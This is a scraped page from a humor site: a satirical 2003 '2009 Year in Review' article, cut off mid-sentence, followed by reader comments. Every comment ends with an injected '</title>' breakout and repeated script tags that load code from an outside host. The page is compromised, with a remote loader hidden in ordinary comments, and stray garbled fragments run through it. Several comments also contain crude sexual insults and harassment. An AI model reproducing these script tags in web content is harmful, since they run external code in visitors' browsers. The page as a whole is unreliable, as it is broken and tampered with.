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2009 Year in Review
by Kris on 1/6/2003 (26)

These days, you can find literally hundreds of newspapers, magazines, websites, and television programs doing various "2002 Year in Review" pieces. We here at Smooth Operator pride ourselves with doing things different and having free parking at our offices... but mostly with the different thing. It is for this reason that we decided not to do a 2002 year in review, but to rather beat all other media to the punch and give the people what they really want, the "2009 Year in Review"! Here is a run down of the various important happens to occur in this very eventful year.

Artists rendition of the future of travel.
Flying Cars finally Arrive
After years of speculation, mostly caused by wild claims of Presidential hopeful Pat Buchanan and early science fiction books which said we would have flying cars before the year 2000, the first flying cars are released in North America. Consequently, flying car related deaths are nearly tripled. Still, people love the freedom brought by flying cars and their sales "soar".

US vs. Canada began the Space Race to Mars
The United States of America and Canada enter into a heated battle to be the first to put a man on Mars. Initially Canada is thought to have won when they broadcast footage on television of their spacecraft landing on Mars. Later review of the tapes indicate an igloo in the background of the footage and that the spacecraft that they used was also an igloo. Further review reveals that the video is actually of two Eskimos dog sledding from the igloo in the background to the igloo in the foreground, presumably for the purpose of some sort of strange Eskimo orgy. After this revelation, many realize Canada does not even have a space program. George W. Bush Jr., now out of office, claims that were he still President, he would "Bomb the hell out of those communists."

Al Gore claims he invented the Wheel
After inventing the Internet, former Vice President Al Gore lays claim that he invented the wheel years ago when playing in his backyard as a child. He invented the wheel in order to aid the transportation of his G.I. Joe soldiers on their way to stop the evil Cobra Commander's plans of total sandbox domination. Gore attempts to force all manufacturers that use wheels to pay him royalty fees. The Supreme Court simply laughs at Gore. General Motors, confused about the ruling, ceases production of all normal cars and focuses solely on the flying car market.

Elvis still dead
While many hope for the King's return, it has yet to occur, even though remix versions of his songs (include a new mix by noted dead communist Joseph Stalin) clutter the music charts and rake in millions of dollars. Many claim that he is alive and well on an Alien UFO. Aliens claim this isn't the case, though he did visit once in the 60's.

California falls into Ocean
After years of speculation, massive earthquakes rock California and it disappears into the Pacific Ocean. Local sporting good stores have runs on boats and life preservers but cannot meet demand required in this crisis situation. Millions of drowning deaths are blamed on lack of adequate safety procedures. Sporting good stores are now required by law to provide enough life preservers for everyone in the population.

Playstation 8 Released
Video Game fans rejoice as Sony releases the Playstation 8. This new system claims to accurately portray real life, all through the use of a special set of glasses. Later in the year, the glasses are discovered to be nothing more than everyday glasses. Millions of users are tricked out of $495 each and Sony laughs all the way to the bank. Playstation 9 is announced, which Sony pr


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1. by Studio 8 on 3/1/2007 4:52:29 PM
Ahem. If you would have paid attention to Studio 8's "2003 Year in Review Predictions Report" at http://www.studio8.net/MiscFeatures/2003Special.html, perhaps you would know that half of the things you predict in your article are not even possible. Man, pay more attention to the world around you! <angrily walking away from Smooth Operator>"0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
Hopefully I didn't step on any toes, I didn't realize you did predictions too, though not of 2009 :) Much of what I said does seem far fetched for today, but you must remember, these are events that will occur in 2009, 2009 is a crazy time when anything can (and often does) happen.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Sentinel on 3/1/2007 4:52:29 PM
I cant wait until 2009. Flying cars...a hellish heaven on earth.go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Kris on 3/1/2007 4:52:29 PM
Don't forget the world not ending... that should be fun too! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by time on 3/1/2007 4:52:29 PM
um to studio 8 id just like to say this, ur telling kris to pay more attention to the world around you, why dont u pay more attention to the site in front of ur eyes! this is a comedy site a humour site, this article is ment to make us laugh who gives a damn crap if it is true or even happens as long as its funny. nice work krisisplay:n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Tyler on 3/1/2007 4:52:29 PM
Anyone who reads this crap deserves to be butt raped and molested by large men.In no way shape or form is this shit funny, get a life or a boyfriend.h="0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Sentinel on 3/1/2007 4:52:29 PM
With people like Tyler and studio 8, I kind of wish the world would end in 2007. If you dont find it funny, we dont give a shit, just dont come here and go on with life.go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Kris on 3/1/2007 4:52:29 PM
Acctually, Studio 8 (if that is your real name) is a funny guy, and I suspect his comments were more so sarcastic than anything. I don't think I can say the same for Tyler here though.ui </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Tyler on 3/1/2007 4:52:29 PM
The fact of the matter is I don't give a what you think. Ecspecially from people who think this gaylord faulker article is funny. Why don't you guys take a french tickler and fondel each others ass. Youll probably get the same feeling as you did reading this article.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Kris on 3/1/2007 4:52:29 PM
Hey Tyler, it's Gaylord Focker, not gaylord faulker. I suspect that your anger stems from your deep-seated insecurities about your poor grammer and spelling. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by ~Crusader~ on 3/1/2007 4:52:29 PM
So funny...i am at the point of tears right now. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Tyler on 3/1/2007 4:52:29 PM
Youre one to talk Kris. I know youre probably thinking that I spelled that name from either that gay movie or one of your special gay movies. But you know, this wouldn't be any fun if I didn't try to drop you clues. By the way, my anger isn't from my B+ in English(much to your disbelief) it's from people like you putting up shitty articles like this! Should I spell THAT out for you?n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Sentinel on 3/1/2007 4:52:29 PM
Shut the Hell up! Jesus, talking to you is like trying to reason with a 3-year old. What the fuck is your problem anyways? If its this site, just dont come here and it should be solved.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Tyler on 3/1/2007 4:52:29 PM
he he he he he. This is just the beginingh="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by the12thman on 3/1/2007 4:52:29 PM
b+ in english sucks my balls u idiott </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by Studio 8 on 3/1/2007 4:52:29 PM
Studio 8 is not my name and I am not funny, Kris! I am also never sarcastic!uildi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by LaLaBeaR on 3/1/2007 4:52:29 PM
what the f*ck are u doing on this site if ur not funny or sarcastic i think u should crawl under a rock and die after u eat tylers ass.(__(__) </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by Zherak_Khan on 3/1/2007 4:52:29 PM
Awesome, Kris. That vampire thing rocked my world. Damm, even better than ur avatar.ne </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by fucker on 3/1/2007 4:52:29 PM
u guyz suck.all bull shit.whatever..... dont have anything to wright? no fuckin creativity. bumb minds. passed out. get ur brains checked. come up with something which u can say senseble. now sit and think all craps and add that into this. give u some adeas? 1), lizards fly, 2) u can make milk out of water, 3) cut ur dick and enjoy sex from any wehre whiles workin. hehehehe.... think something creative u bastards.<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by Kris on 3/1/2007 4:52:29 PM
Try that cutting your dick off thing and let me know how it works out :)n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by Rats on 3/1/2007 4:52:29 PM
Killer mindisplay:none" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by sowhat on 9/22/2009 3:43:19 PM
Your Michael Jackson comment is a little eerieh= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by erie, pa on 10/3/2009 7:27:13 PM
totally eerieisplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by Kris on 11/4/2009 2:37:12 PM
Eerrie? Did he turn into a lizard creature?h="0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by You Fail on 12/9/2009 8:02:41 AM
You Failone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by MykeTV on 12/18/2009 11:36:28 AM
Creepy! Like a time warp. Check out this funny version of the real top of 2009: http://bit.ly/rmp12m </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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